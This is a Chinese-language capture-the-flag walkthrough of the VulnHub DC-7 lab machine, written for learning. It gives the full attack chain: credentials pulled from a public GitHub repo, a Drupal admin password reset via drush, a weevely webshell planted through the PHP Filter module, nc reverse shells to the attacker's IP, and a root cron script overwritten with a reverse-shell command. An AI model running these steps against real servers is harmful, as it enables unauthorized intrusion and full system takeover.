这次练习的靶机是vulnhub平台下的DC系列靶机第7台,下载地址为https://www.vulnhub.com/entry/dc-7,356/。挑战该靶机的最终目的是获取root权限,然后读取唯一的flag。这台靶机中用暴力破解成功的概率非常小,我们需要开阔思路,寻找非技术上的方法。
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-7靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
发现靶机的IP地址为 192.168.119.167
,然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 200 192.168.119.167
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
发现开放了 80
端口和 22
端口,还发现了一些敏感目录。用浏览器打开网页进一步收集更多的信息。
看网页上面的提示,这些英文翻译如下:
欢迎来到DC-7
DC-7引入了一些“新”概念,但我将让你自己去弄清楚它们是什么。: -)
虽然这个挑战并不完全是技术性的,但如果你需要诉诸暴力破解或字典攻击,你可能不会成功。
你要做的,就是跳出框框去思考。
在盒子外面。:-)
盒子外面指的就是借助搜索引擎来收集敏感信息。如果你经常看实战类文章的话,就会发现很多情况下可以在github上找到目标网站源码,并在源码中发现数据库的密码。所以我们也来尝试一下搜索该网站的源码。
在底部能发现作者的id,我们就通过这个id来搜索该网站的源码。
果然在github搜索到了一个名为 Dc7User
的用户,查看一下该用户有没有相关的源码。
该用户有一个项目,打开看了看,发现该项目与靶机DC-7上网站结构相似,估计这个就是靶机上网站的源码了。把它下载下来,地址为: https://github.com/Dc7User/staffdb.git
。
proxychains git clone https://github.com/Dc7User/staffdb.git
proxychains是一个代理程序,因为github的服务器在国外,所以通过代理程序下载速度会大大提高,该程序具体用法可以参考:https://www.jianshu.com/p/3f392367b41f,Ubuntu系统中使用ProxyChains设置网络代理
git clone 是将指定地址的程序克隆下来。
进入目录 staffdb
,发现了一个配置文件 config.php
,在这个配置文件中发现了数据库的账号和密码:dc7user
,MdR3xOgB7#dW
。
cd staffdb
cat config.php
已经得到了一个账号和密码,可以用这个账号去尝试一下远程mysql登陆,网站后台登陆,ssh登陆,能用得到账号密码的地方尽量尝试一下。最终发现这个账号可以通过ssh登陆。
ssh [email protected]
获取到shell后第一步当然是尝试一下suid提权啦,但是发现这台靶机无法通过suid提权。按照经验下一步就应该登陆数据库查找关键信息或者到用户的家里面看看。但是发现mysql登陆不上,那就到用户的家里面看看吧。
cd /home/dc7user
ls -la
历史记录都指向了黑洞文件,发现备份文件夹 backups
里面有两个备份文件,但是都加密了。还有一个邮件文件,打开这个邮件文件看看。
cat mbox
通过邮件发现系统每隔15分钟 就会执行一次 /opt/scripts/backups.sh
来备份数据库,而且是以root的身份来执行该脚本。接下来看看能不能修改该脚本。
cd /opt/scripts/
ls -la
查看权限得知,自己只能读取该和执行该文件。但是发现属于 www-data
用户组的账号是可以修改该文件的。一般情况下,通过一句话木马建立的webshell都是以 www-data
用户运行的,所以下一步就是获取一个webshell。
既然有对backups.sh的r权限,那么就查看一下这个文件
cat backups.sh
发现这个sh文件里面使用了drush程序。一开始不知道drush的作用是什么,后来通过搜索引擎得知这是一个专门管理drupal网站的一个程序,也可以通过该程序直接修改用户密码。如果想用drush管理一个网站,那么就必须先跳转到那个网站的目录下,接下来就修改管理员 admin
的密码。
cd /var/www/html
drush user-password admin --password="admin"
user-password 后面跟着需要修改的用户。
–password 后面为需要设置的密码。
修改密码成功,现在就可以登陆网站后台了,并把一句话木马写入网页中。
依次点击 Manage
,Content
,Edit
,然后编辑页面。
但是在编辑页面发现不可以写入php代码。后来经过查询发现该网站可以安装一个模块后就可以写入php代码了。模块的下载地址为 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
。
下面就准备导入模块,依次点击 Manage
,Extend
,Install new module
。
然后在第一个文本框内填入模块地址,点击 install
按钮进行安装。
安装完成后会出现如下图所示界面。现在还不能用该模块,需要开启后才能使用。所以需要点击 Enable newly added modules
来开启这个模块。
找到 PHP Filter
并勾选该选项,然后点击最底部的 install
。
开启 PHP Filter
成功后会出现下面这个界面。
再次回到编辑页面时发现现在可以写入PHP代码了。
用weevely生成一个木马。
weevely generate a a.php
generate 代表生成木马
a 为木马连接时的密码
a.php 为木马的文件名
然后将 a.php
里面的内容粘贴到编辑页面的打文本框里面,文件格式选择 PHP Code
,然后点击 Save
进行保存。
保存后点击刚刚修改页面的标签就会跳转到该页面,这样就知道该页面的地址了。
从浏览器的地址栏得出该页面的地址为:http://192.168.119.167/node/3
。
接下来用weevely进行连接。
weevely http://192.168.119.167/node/3 a
a 为生成木马时设置的密码
发现该webshell无法使用cd命令,用 echo $0
来查看当前使用的shell程序,发现是sh。
通过nc反弹一个基于bash的shell可以解决这一问题,nc反弹shell的详细内容已经在前面多次讲解,这里就不再详细讲解,只说明操作过程。
在kali本地终端上执行:
rlwrap nc -lvnp 4443
然后在webshell上执行
nc 192.168.119.130 4443 -e /bin/bash
现在已经反弹shell成功了,再回到本地终端执行一下命令升级shell。
python -c 'import pty;pty.spawn("/bin/bash")'
现在的shell是以www-data
用户来运行的,所以对backups.sh
具有修改权限。
所以我们将反弹shell的命令写入 backups.sh 等待系统自动运行即可。因为刚刚在邮箱中发现系统每15分钟就会以root的权限执行一次backups.sh,所以用root权限反弹shell就会获取root权限。执行一下命令
cd /opt/scripts
echo "nc 192.168.119.130 4445 -e /bin/bash" > backups.sh
注意IP地址为本地kali的IP地址。
然后再本地监听4445端口。
rlwrap nc -lvnp 4445
接下来就去洗个碗,洗完回来差不多就已经获取root权限了。看到下图红框中文字说明反弹shell成功。
cat /root/theflag.txt
成功!还可以通过 passwd
命令直接修改root的密码。
[1] http://drupalchina.cn/node/3709,Drush的安装配置和应用
[2] https://blog.csdn.net/weixin_43583637/article/details/102809227,Vulnhub靶机实战——DC-7
[3] https://www.jianshu.com/p/3f392367b41f,Ubuntu系统中使用ProxyChains设置网络代理
[4] https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。